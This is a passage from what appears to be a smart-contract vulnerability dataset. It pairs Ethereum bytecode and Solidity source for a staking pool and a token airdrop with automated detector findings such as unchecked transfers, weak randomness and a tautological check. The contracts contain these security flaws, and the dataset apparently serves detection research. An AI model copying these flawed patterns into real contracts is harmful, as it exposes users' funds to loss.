e5b90600052602060002001548860028151811015156123e957fe5b90602001906020020151145b5b1561268557600760008881526020019081526020016000208381548110151561241b57fe5b90600052602060002090600502016003015485019450600460a060405190810160405280600760008b81526020019081526020016000208681548110151561245f57fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600760008b8152602001908152602001600020868154811015156124cc57fe5b9060005260206000209060050201600101548152602001600760008b81526020019081526020016000208681548110151561250357fe5b906000526020600020906005020160020180548060200260200160405190810160405280929190818152602001828054801561255e57602002820191906000526020600020905b81548152602001906001019080831161254a575b50505050508152602001600760008b81526020019081526020016000208681548110151561258857fe5b9060005260206000209060050201600301548152602001600760008b8152602001908152602001600020868154811015156125bf57fe5b9060005260206000209060050201600401548152509080600181540180825580915050906001820390600052602060002090600502016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061266c9291906135e6565b5060608201518160030155608082015181600401555050505b828060010193505061215a565b5b60006004805490501415612a9b57600091505b6007600088815260200190815260200160002080549050821015612a9a5760076000888152602001908152602001600020828154811015156126e457fe5b9060005260206000209060050201600201600081548110151561270357fe5b906000526020600020015488600081518110151561271d57fe5b9060200190602002015114806127935750600760008881526020019081526020016000208281548110151561274e57fe5b9060005260206000209060050201600201600181548110151561276d57fe5b906000526020600020015488600181518110151561278757fe5b90602001906020020151145b806127fe575060076000888152602001908152602001600020828154811015156127b957fe5b906000526020600020906005020160020160028154811015156127d857fe5b90600052602060002001548860028151811015156127f257fe5b90602001906020020151145b15612a8d57600760008881526020019081526020016000208281548110151561282357fe5b90600052602060002090600502016003015485019450600460a060405190810160405280600760008b81526020019081526020016000208581548110151561286757fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600760008b8152602001908152602001600020858154811015156128d457fe5b9060005260206000209060050201600101548152602001600760008b81526020019081526020016000208581548110151561290b57fe5b906000526020600020906005020160020180548060200260200160405190810160405280929190818152602001828054801561296657602002820191906000526020600020905b815481526020019060010190808311612952575b50505050508152602001600760008b81526020019081526020016000208581548110151561299057fe5b9060005260206000209060050201600301548152602001600760008b8152602001908152602001600020858154811015156129c757fe5b9060005260206000209060050201600401548152509080600181540180825580915050906001820390600052602060002090600502016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190612a749291906135e6565b5060608201518160030155608082015181600401555050505b81806001019250506126a6565b5b60646005600089815260200190815260200160002060030154811515612abd57fe5b0490506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b27573d6000803e3d6000fd5b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b90573d6000803e3d6000fd5b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612bf9573d6000803e3d6000fd5b506000600480549050141515612c2c57612c1587828a886131ec565b60046000612c2391906135c2565b60019550612c67565b600381026005600089815260200190815260200160002060030154036005600089815260200190815260200160002060030181905550600095505b505050505092915050565b60006003600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015612e6c57506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015612e785750600182115b15612eeb57612ee9600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660018403612c72565b505b92915050565b612ef9613633565b60008060606040519081016040528060038152602001600281526020016001815250925060009150600090505b6003805490508110156131af5760648382600381101515612f4357fe5b60200201513402811515612f5357fe5b0482019150600381815481101515612f6757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60648584600381101515612fbb57fe5b60200201513402811515612fcb57fe5b049081150290604051600060405180830381858888f19350505050158015612ff7573d6000803e3d6000fd5b507f5e9040d321c654ce497b5ac51149bb4512ee7a712fa577360b755329cca45c913334898989898760038981548110151561302f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660648c8b60038110151561306a57fe5b6020020151340281151561307a57fe5b044260405180806020018c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018b81526020018a8152602001898152602001888152602001806020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001838103835260088152602001807f6469766964656e64000000000000000000000000000000000000000000000000815250602001838103825288818151815260200191508051906020019060200280838360005b8381101561318557808201518184015260208101905061316a565b505050509050019c5050505050505050505050505060405180910390a18080600101915050612f26565b8134036005600089815260200190815260200160002060030160008282540192505081905550600360006131e39190613656565b50505050505050565b60008060003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156132b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b600386026005600089815260200190815260200160002060030154039250600091505b6004805490508210156135b957836004838154811015156132f557fe5b906000526020600020906005020160030154840281151561331257fe5b04905060048281548110151561332457fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561339b573d6000803e3d6000fd5b507f8c98551d006dde453dddf21caeecb75e77c113dfafe9e44531347bf6a0fea68d6004838154811015156133cc57fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048481548110151561340d57fe5b90600052602060002090600502016001015489600560008c81526020019081526020016000206000015460048781548110151561344657fe5b90600052602060002090600502016003015460048881548110151561346757fe5b90600052602060002090600502016002018b884260405180806020018b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018981526020018881526020018781526020018060200180602001868152602001858152602001848103845260068152602001807f7265776172640000000000000000000000000000000000000000000000000000815250602001848103835288818154815260200191508054801561355257602002820191906000526020600020905b81548152602001906001019080831161353e575b5050848103825287818151815260200191508051906020019060200280838360005b8381101561358f578082015181840152602081019050613574565b505050509050019c5050505050505050505050505060405180910390a181806001019250506132d8565b50505050505050565b50805460008255600502906000526020600020908101906135e39190613677565b50565b828054828255906000526020600020908101928215613622579160200282015b82811115613621578251825591602001919060010190613606565b5b50905061362f91906136e5565b5090565b606060405190810160405280600390602082028038833980820191505090505090565b508054600082559060005260206000209081019061367491906136e5565b50565b6136e291905b808211156136de57600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560018201600090556002820160006136c5919061370a565b600382016000905560048201600090555060050161367d565b5090565b90565b61370791905b808211156137035760008160009055506001016136eb565b5090565b90565b508054600082559060005260206000209081019061372891906136e5565b505600a165627a7a72305820739f763c2533460b8b8b50e6ccc303d2a97e527cb2a89578df7d03ed56e8fbc70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,126 |
0xd3059129e498bc716cf265dbd8928ff493a75f54
|
/*
* @dev This is the Axia Protocol Staking pool 4 contract (AXIA LONE Pool), a part of the protocol where stakers are rewarded in AXIA tokens
* when they make stakes of Axia tokens.
* stakers reward come from the daily emission from the total supply into circulation,
* this happens daily and upon the reach of a new epoch each made of 180 days,
* halvings are experienced on the emitting amount of tokens.
* on the 11th epoch all the tokens would have been completed emitted into circulation,
* from here on, the stakers will still be earning from daily emissions
* which would now be coming from the accumulated basis points over the epochs.
* upon unstaking, stakers are charged a fee of 1% of their unstaking sum which is
* burnt forever, thereby reducing the total supply. this gives the Axia token its deflationary feature.
*/
pragma solidity 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function supplyeffect(uint _amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ASP{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event StakeEvent(address indexed staker, address indexed pool, uint amount);
event UnstakeEvent(address indexed unstaker, address indexed pool, uint amount);
event RewardEvent(address indexed staker, address indexed pool, uint amount);
event RewardStake(address indexed staker, address indexed pool, uint amount);
//======================================STAKING POOL=========================================//
address public Axiatoken;
bool public stakingEnabled;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 public MINIMUM_STAKE = 1000000000000000000; // 1000 AXIA Tokens
uint256 public MIN_DIVIDENDS_DUR = 18 hours;
uint256 private UNSTAKE_FEE = 1; //1% burns when you unstake
uint public infocheck;
uint _burnedAmount;
uint actualValue;
struct User {
uint256 balance;
uint256 frozen;
int256 scaledPayout;
uint256 staketime;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken; //pool balance
address admin;
}
Info private info;
constructor() public {
info.admin = msg.sender;
stakingEnabled = false;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlyAxiaToken() {
require(msg.sender == Axiatoken, "Authorization: only token contract can call");
_;
}
function tokenconfigs(address _axiatoken) public onlyCreator returns (bool success) {
Axiatoken = _axiatoken;
return true;
}
function _minStakeAmount(uint256 _number) onlyCreator public {
MINIMUM_STAKE = _number*1000000000000000000;
}
function stakingStatus(bool _status) public onlyCreator {
require(Axiatoken != address(0), "Pool address is not yet setup");
stakingEnabled = _status;
}
function unstakeburnrate(uint _rate) public onlyCreator returns (bool success) {
UNSTAKE_FEE = _rate;
return true;
}
function MIN_DIVIDENDS_DUR_TIME(uint256 _minDuration) public onlyCreator {
MIN_DIVIDENDS_DUR = _minDuration;
}
//======================================USER WRITE=========================================//
function StakeAxiaTokens(uint256 _tokens) external {
_stake(_tokens);
}
function UnstakeAxiaTokens(uint256 _tokens) external {
_unstake(_tokens);
}
//======================================USER READ=========================================//
function totalFrozen() public view returns (uint256) {
return info.totalFrozen;
}
function frozenOf(address _user) public view returns (uint256) {
return info.users[_user].frozen;
}
function dividendsOf(address _user) public view returns (uint256) {
if(info.users[_user].staketime < MIN_DIVIDENDS_DUR){
return 0;
}else{
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
}
function userData(address _user) public view
returns (uint256 totalTokensFrozen, uint256 userFrozen,
uint256 userDividends, uint256 userStaketime, int256 scaledPayout) {
return (totalFrozen(), frozenOf(_user), dividendsOf(_user), info.users[_user].staketime, info.users[_user].scaledPayout);
}
//======================================ACTION CALLS=========================================//
function _stake(uint256 _amount) internal {
require(stakingEnabled, "Staking not yet initialized");
require(IERC20(Axiatoken).balanceOf(msg.sender) >= _amount, "Insufficient Axia token balance");
require(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, "Your amount is lower than the minimum amount allowed to stake");
require(IERC20(Axiatoken).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].staketime = now;
info.totalFrozen += _amount;
info.users[msg.sender].frozen += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(Axiatoken).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract
emit StakeEvent(msg.sender, address(this), _amount);
}
function _unstake(uint256 _amount) internal {
require(frozenOf(msg.sender) >= _amount, "You currently do not have up to that amount staked");
info.totalFrozen -= _amount;
info.users[msg.sender].frozen -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
_burnedAmount = mulDiv(_amount, UNSTAKE_FEE, 100);
actualValue = _amount.sub(_burnedAmount);
require(IERC20(Axiatoken).transfer(msg.sender, actualValue), "Transaction failed");
emit UnstakeEvent(address(this), msg.sender, actualValue);
require(IERC20(Axiatoken).transfer(address(0x0), _burnedAmount), "Transaction failed");
IERC20(Axiatoken).supplyeffect(_burnedAmount);
}
function TakeDividends() external returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
emit RewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledToken(uint _amount) external onlyAxiaToken returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalFrozen;
infocheck = info.scaledPayoutPerToken;
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
}
|
0x608060405234801561001057600080fd5b50600436106101205760003560e01c806369c18e12116100ad578063ac3c853511610071578063ac3c8535146102bd578063b333de24146102dc578063b821b6bf146102e4578063c8910913146102ec578063e0287b3e1461033d57610120565b806369c18e12146102355780636b6b6aa41461023d5780637640cb9e1461025a578063a43fc87114610277578063aa9a09121461029457610120565b80631bf6e00d116100f45780631bf6e00d146101be5780631cfff51b146101e45780631e7f87bc146101ec57806321dee127146101f45780636387c9491461021157610120565b806265318b1461012557806305d872aa1461015d57806308dbbb03146101975780631495bf9a1461019f575b600080fd5b61014b6004803603602081101561013b57600080fd5b50356001600160a01b031661035a565b60408051918252519081900360200190f35b6101836004803603602081101561017357600080fd5b50356001600160a01b03166103c1565b604080519115158252519081900360200190f35b61014b610432565b6101bc600480360360208110156101b557600080fd5b5035610438565b005b61014b600480360360208110156101d457600080fd5b50356001600160a01b0316610444565b610183610462565b61014b610472565b6101836004803603602081101561020a57600080fd5b5035610478565b6102196104cd565b604080516001600160a01b039092168252519081900360200190f35b61014b6104dc565b6101bc6004803603602081101561025357600080fd5b50356104e2565b6101836004803603602081101561027057600080fd5b50356104eb565b6101bc6004803603602081101561028d57600080fd5b5035610560565b61014b600480360360608110156102aa57600080fd5b50803590602081013590604001356105b8565b6101bc600480360360208110156102d357600080fd5b5035151561066c565b61014b610730565b61014b61085a565b6103126004803603602081101561030257600080fd5b50356001600160a01b0316610860565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101bc6004803603602081101561035357600080fd5b50356108b7565b6002546001600160a01b03821660009081526009602052604081206003015490911115610389575060006103bc565b6001600160a01b03821660009081526009602052604090206002810154600190910154600a54600160401b929102030490505b919050565b600b546000906001600160a01b0316331461040d5760405162461bcd60e51b81526004018080602001828103825260288152602001806110ff6028913960400191505060405180910390fd5b50600080546001600160a01b0383166001600160a01b03199091161790556001919050565b60015481565b61044181610905565b50565b6001600160a01b031660009081526009602052604090206001015490565b600054600160a01b900460ff1681565b60085490565b600b546000906001600160a01b031633146104c45760405162461bcd60e51b81526004018080602001828103825260288152602001806110ff6028913960400191505060405180910390fd5b50600355600190565b6000546001600160a01b031681565b60045481565b61044181610c27565b600080546001600160a01b031633146105355760405162461bcd60e51b815260040180806020018281038252602b81526020018061105c602b913960400191505060405180910390fd5b600854600160401b83028161054657fe5b600a80549290910490910190819055600455506001919050565b600b546001600160a01b031633146105a95760405162461bcd60e51b81526004018080602001828103825260288152602001806110ff6028913960400191505060405180910390fd5b670de0b6b3a764000002600155565b60008060006105c78686610f1c565b915091508381106105d457fe5b600084806105de57fe5b8688099050828111156105f2576001820391505b91829003916000859003851680868161060757fe5b04955080848161061357fe5b04935080816000038161062257fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b600b546001600160a01b031633146106b55760405162461bcd60e51b81526004018080602001828103825260288152602001806110ff6028913960400191505060405180910390fd5b6000546001600160a01b0316610712576040805162461bcd60e51b815260206004820152601d60248201527f506f6f6c2061646472657373206973206e6f7420796574207365747570000000604482015290519081900360640190fd5b60008054911515600160a01b0260ff60a01b19909216919091179055565b60008061073c3361035a565b3360008181526009602090815260408083206002018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b1580156107ac57600080fd5b505af11580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b505161081e576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f8c998377165b6abd6e99f8b84a86ed2c92d0055aeef42626fedea45c2909f6eb9181900360200190a3905090565b60025481565b6000806000806000610870610472565b61087987610444565b6108828861035a565b6001600160a01b0398909816600090815260096020526040902060038101546002909101549299919897509550909350915050565b600b546001600160a01b031633146109005760405162461bcd60e51b81526004018080602001828103825260288152602001806110ff6028913960400191505060405180910390fd5b600255565b600054600160a01b900460ff16610963576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600054604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109ad57600080fd5b505afa1580156109c1573d6000803e3d6000fd5b505050506040513d60208110156109d757600080fd5b50511015610a2c576040805162461bcd60e51b815260206004820152601f60248201527f496e73756666696369656e74204178696120746f6b656e2062616c616e636500604482015290519081900360640190fd5b60015481610a3933610444565b011015610a775760405162461bcd60e51b815260040180806020018281038252603d8152602001806110c2603d913960400191505060405180910390fd5b60005460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610ac757600080fd5b505afa158015610adb573d6000803e3d6000fd5b505050506040513d6020811015610af157600080fd5b50511015610b305760405162461bcd60e51b815260040180806020018281038252603b815260200180611087603b913960400191505060405180910390fd5b336000818152600960209081526040808320426003820155600880548701905560018101805487019055600a54600290910180549187029091019055825481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610bc157600080fd5b505af1158015610bd5573d6000803e3d6000fd5b505050506040513d6020811015610beb57600080fd5b5050604080518281529051309133917f160ffcaa807f78c8b4983836e2396338d073e75695ac448aa0b5e4a75b210b1d9181900360200190a350565b80610c3133610444565b1015610c6e5760405162461bcd60e51b815260040180806020018281038252603281526020018061102a6032913960400191505060405180910390fd5b6008805482900390553360009081526009602052604090206001810180548390039055600a54600290910180549183029091039055600354610cb390829060646105b8565b6005819055610cc990829063ffffffff610f4916565b6006819055600080546040805163a9059cbb60e01b81523360048201526024810194909452516001600160a01b039091169263a9059cbb9260448083019360209390929083900390910190829087803b158015610d2557600080fd5b505af1158015610d39573d6000803e3d6000fd5b505050506040513d6020811015610d4f57600080fd5b5051610d97576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b6006546040805191825251339130917f15fba2c381f32b0e84d073dd1adb9edbcfd33a033ee48aaea415ac61ca7d448d9181900360200190a3600080546005546040805163a9059cbb60e01b8152600481018590526024810192909252516001600160a01b039092169263a9059cbb926044808401936020939083900390910190829087803b158015610e2957600080fd5b505af1158015610e3d573d6000803e3d6000fd5b505050506040513d6020811015610e5357600080fd5b5051610e9b576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b60008054600554604080516326796dd560e01b81526004810192909252516001600160a01b03909216926326796dd5926024808401936020939083900390910190829087803b158015610eed57600080fd5b505af1158015610f01573d6000803e3d6000fd5b505050506040513d6020811015610f1757600080fd5b505050565b6000808060001984860990508385029250828103915082811015610f41576001820391505b509250929050565b6000610f8b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f92565b9392505050565b600081848411156110215760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fe6578181015183820152602001610fce565b50505050905090810190601f1680156110135780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e74207374616b6564417574686f72697a6174696f6e3a206f6e6c7920746f6b656e20636f6e74726163742063616e2063616c6c4e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f207374616b654f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f72a26469706673582212206a6e51c4f54998cabee3d3da13a628f4c56729a0416128c67fdf8a9611b5433664736f6c63430006040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 6,127 |
0x971ed653c77406819c28f29d127753c0943235fa
|
pragma solidity ^0.4.26;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract POEX is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Poex Global";
string public constant symbol = "PO";
uint public constant decimals = 8;
uint public deadline = now + 50 * 1 days;
uint public round2 = now + 40 * 1 days;
uint public round1 = now + 25 * 1 days;
uint256 public totalSupply = 10000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 6000000e8;
uint public target0drop = 4000;
uint public progress0drop = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 1500000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
